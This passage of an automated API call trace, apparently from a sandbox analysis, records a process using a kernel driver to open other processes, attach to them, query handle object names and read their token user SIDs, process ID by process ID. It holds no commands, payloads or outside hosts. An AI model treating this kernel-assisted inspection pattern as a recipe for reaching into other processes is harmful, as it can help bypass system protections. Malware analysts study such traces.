dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0123.183] PsLookupProcessByProcessId (in: ProcessId=0xa10, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.183] PsAcquireProcessExitSynchronization () returned 0x0 [0123.183] KeStackAttachProcess (in: PROCESS=0xfffffa80020f65f0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020f65f0, ApcState=0xfffff880044355d0) [0123.183] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0123.183] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.183] PsReleaseProcessExitSynchronization () returned 0x2 [0123.183] ObfDereferenceObject (Object=0xfffffa80020f65f0) returned 0x10 [0123.183] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.183] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0123.183] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.183] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.183] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa20) returned 0xc0 [0123.183] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0123.183] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa8002104b30, HandleInformation=0x0) returned 0x0 [0123.183] ObOpenObjectByPointer (in: Object=0xfffffa8002104b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000a40) returned 0x0 [0123.183] ObfDereferenceObject (Object=0xfffffa8002104b30) returned 0x12 [0123.183] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a40, DesiredAccess=0x8, TokenHandle=0xfffffa8002f61680 | out: TokenHandle=0xfffffa8002f61680*=0xc8) returned 0x0 [0123.183] ZwClose (Handle=0xffffffff80000a40) returned 0x0 [0123.183] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.183] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0123.183] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0123.185] CloseHandle (hObject=0xc8) returned 1 [0123.185] CloseHandle (hObject=0xc0) returned 1 [0123.185] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.185] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0123.185] PsLookupProcessByProcessId (in: ProcessId=0xa20, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.185] PsAcquireProcessExitSynchronization () returned 0x0 [0123.185] KeStackAttachProcess (in: PROCESS=0xfffffa8002104b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002104b30, ApcState=0xfffff880044355d0) [0123.185] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80021027f0, HandleInformation=0x0) returned 0x0 [0123.185] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.185] PsReleaseProcessExitSynchronization () returned 0x2 [0123.185] ObfDereferenceObject (Object=0xfffffa8002104b30) returned 0x10 [0123.185] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.185] ObfDereferenceObject (Object=0xfffffa80021027f0) returned 0x1 [0123.185] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.185] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.185] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.185] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0123.185] PsLookupProcessByProcessId (in: ProcessId=0xa20, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.185] PsAcquireProcessExitSynchronization () returned 0x0 [0123.185] KeStackAttachProcess (in: PROCESS=0xfffffa8002104b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002104b30, ApcState=0xfffff880044355d0) [0123.185] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002106800, HandleInformation=0x0) returned 0x0 [0123.185] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.186] PsReleaseProcessExitSynchronization () returned 0x2 [0123.186] ObfDereferenceObject (Object=0xfffffa8002104b30) returned 0x10 [0123.186] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.186] ObfDereferenceObject (Object=0xfffffa8002106800) returned 0x1 [0123.186] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.186] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.186] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.186] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0123.186] PsLookupProcessByProcessId (in: ProcessId=0xa20, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.186] PsAcquireProcessExitSynchronization () returned 0x0 [0123.186] KeStackAttachProcess (in: PROCESS=0xfffffa8002104b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002104b30, ApcState=0xfffff880044355d0) [0123.186] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0123.186] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.186] PsReleaseProcessExitSynchronization () returned 0x2 [0123.186] ObfDereferenceObject (Object=0xfffffa8002104b30) returned 0x10 [0123.186] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.186] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0123.186] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.186] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.186] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa30) returned 0xc0 [0123.186] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0123.186] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa800210f740, HandleInformation=0x0) returned 0x0 [0123.186] ObOpenObjectByPointer (in: Object=0xfffffa800210f740, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000a40) returned 0x0 [0123.186] ObfDereferenceObject (Object=0xfffffa800210f740) returned 0x12 [0123.186] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a40, DesiredAccess=0x8, TokenHandle=0xfffffa8002f61680 | out: TokenHandle=0xfffffa8002f61680*=0xc8) returned 0x0 [0123.186] ZwClose (Handle=0xffffffff80000a40) returned 0x0 [0123.186] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.186] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0123.186] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0123.188] CloseHandle (hObject=0xc8) returned 1 [0123.188] CloseHandle (hObject=0xc0) returned 1 [0123.188] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.188] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0123.188] PsLookupProcessByProcessId (in: ProcessId=0xa30, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.188] PsAcquireProcessExitSynchronization () returned 0x0 [0123.188] KeStackAttachProcess (in: PROCESS=0xfffffa800210f740, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800210f740, ApcState=0xfffff880044355d0) [0123.188] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800210f070, HandleInformation=0x0) returned 0x0 [0123.188] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.188] PsReleaseProcessExitSynchronization () returned 0x2 [0123.188] ObfDereferenceObject (Object=0xfffffa800210f740) returned 0x10 [0123.188] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.188] ObfDereferenceObject (Object=0xfffffa800210f070) returned 0x1 [0123.188] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.188] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.188] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.188] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0123.188] PsLookupProcessByProcessId (in: ProcessId=0xa30, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.188] PsAcquireProcessExitSynchronization () returned 0x0 [0123.189] KeStackAttachProcess (in: PROCESS=0xfffffa800210f740, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800210f740, ApcState=0xfffff880044355d0) [0123.189] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002111180, HandleInformation=0x0) returned 0x0 [0123.189] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.189] PsReleaseProcessExitSynchronization () returned 0x2 [0123.189] ObfDereferenceObject (Object=0xfffffa800210f740) returned 0x10 [0123.189] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.189] ObfDereferenceObject (Object=0xfffffa8002111180) returned 0x1 [0123.189] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.189] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.189] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.189] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0123.189] PsLookupProcessByProcessId (in: ProcessId=0xa30, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.189] PsAcquireProcessExitSynchronization () returned 0x0 [0123.189] KeStackAttachProcess (in: PROCESS=0xfffffa800210f740, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800210f740, ApcState=0xfffff880044355d0) [0123.189] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0123.189] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.189] PsReleaseProcessExitSynchronization () returned 0x2 [0123.189] ObfDereferenceObject (Object=0xfffffa800210f740) returned 0x10 [0123.189] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.189] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0123.189] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.189] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.189] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa40) returned 0xc0 [0123.189] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0123.189] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa800211db30, HandleInformation=0x0) returned 0x0 [0123.189] ObOpenObjectByPointer (in: Object=0xfffffa800211db30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000a40) returned 0x0 [0123.189] ObfDereferenceObject (Object=0xfffffa800211db30) returned 0x12 [0123.189] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a40, DesiredAccess=0x8, TokenHandle=0xfffffa8002f61680 | out: TokenHandle=0xfffffa8002f61680*=0xc8) returned 0x0 [0123.189] ZwClose (Handle=0xffffffff80000a40) returned 0x0 [0123.190] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.190] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0123.190] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0123.191] CloseHandle (hObject=0xc8) returned 1 [0123.191] CloseHandle (hObject=0xc0) returned 1 [0123.191] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.191] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0123.191] PsLookupProcessByProcessId (in: ProcessId=0xa40, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.191] PsAcquireProcessExitSynchronization () returned 0x0 [0123.191] KeStackAttachProcess (in: PROCESS=0xfffffa800211db30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800211db30, ApcState=0xfffff880044355d0) [0123.191] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800211b720, HandleInformation=0x0) returned 0x0 [0123.191] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.191] PsReleaseProcessExitSynchronization () returned 0x2 [0123.191] ObfDereferenceObject (Object=0xfffffa800211db30) returned 0x10 [0123.191] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.191] ObfDereferenceObject (Object=0xfffffa800211b720) returned 0x1 [0123.191] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.191] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.191] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.191] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0123.192] PsLookupProcessByProcessId (in: ProcessId=0xa40, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.192] PsAcquireProcessExitSynchronization () returned 0x0 [0123.192] KeStackAttachProcess (in: PROCESS=0xfffffa800211db30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800211db30, ApcState=0xfffff880044355d0) [0123.192] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800211d120, HandleInformation=0x0) returned 0x0 [0123.192] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.192] PsReleaseProcessExitSynchronization () returned 0x2 [0123.192] ObfDereferenceObject (Object=0xfffffa800211db30) returned 0x10 [0123.192] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.192] ObfDereferenceObject (Object=0xfffffa800211d120) returned 0x1 [0123.192] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.192] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.192] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.192] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0123.192] PsLookupProcessByProcessId (in: ProcessId=0xa40, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.192] PsAcquireProcessExitSynchronization () returned 0x0 [0123.192] KeStackAttachProcess (in: PROCESS=0xfffffa800211db30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800211db30, ApcState=0xfffff880044355d0) [0123.192] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0123.192] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.192] PsReleaseProcessExitSynchronization () returned 0x2 [0123.192] ObfDereferenceObject (Object=0xfffffa800211db30) returned 0x10 [0123.192] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.192] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0123.192] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.192] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.192] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa50) returned 0xc0 [0123.192] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0123.192] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa8002128740, HandleInformation=0x0) returned 0x0 [0123.192] ObOpenObjectByPointer (in: Object=0xfffffa8002128740, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000a40) returned 0x0 [0123.192] ObfDereferenceObject (Object=0xfffffa8002128740) returned 0x12 [0123.192] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a40, DesiredAccess=0x8, TokenHandle=0xfffffa8002f61680 | out: TokenHandle=0xfffffa8002f61680*=0xc8) returned 0x0 [0123.193] ZwClose (Handle=0xffffffff80000a40) returned 0x0 [0123.193] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.193] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0123.193] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0123.194] CloseHandle (hObject=0xc8) returned 1 [0123.194] CloseHandle (hObject=0xc0) returned 1 [0123.194] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.194] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0123.194] PsLookupProcessByProcessId (in: ProcessId=0xa50, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.194] PsAcquireProcessExitSynchronization () returned 0x0 [0123.194] KeStackAttachProcess (in: PROCESS=0xfffffa8002128740, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002128740, 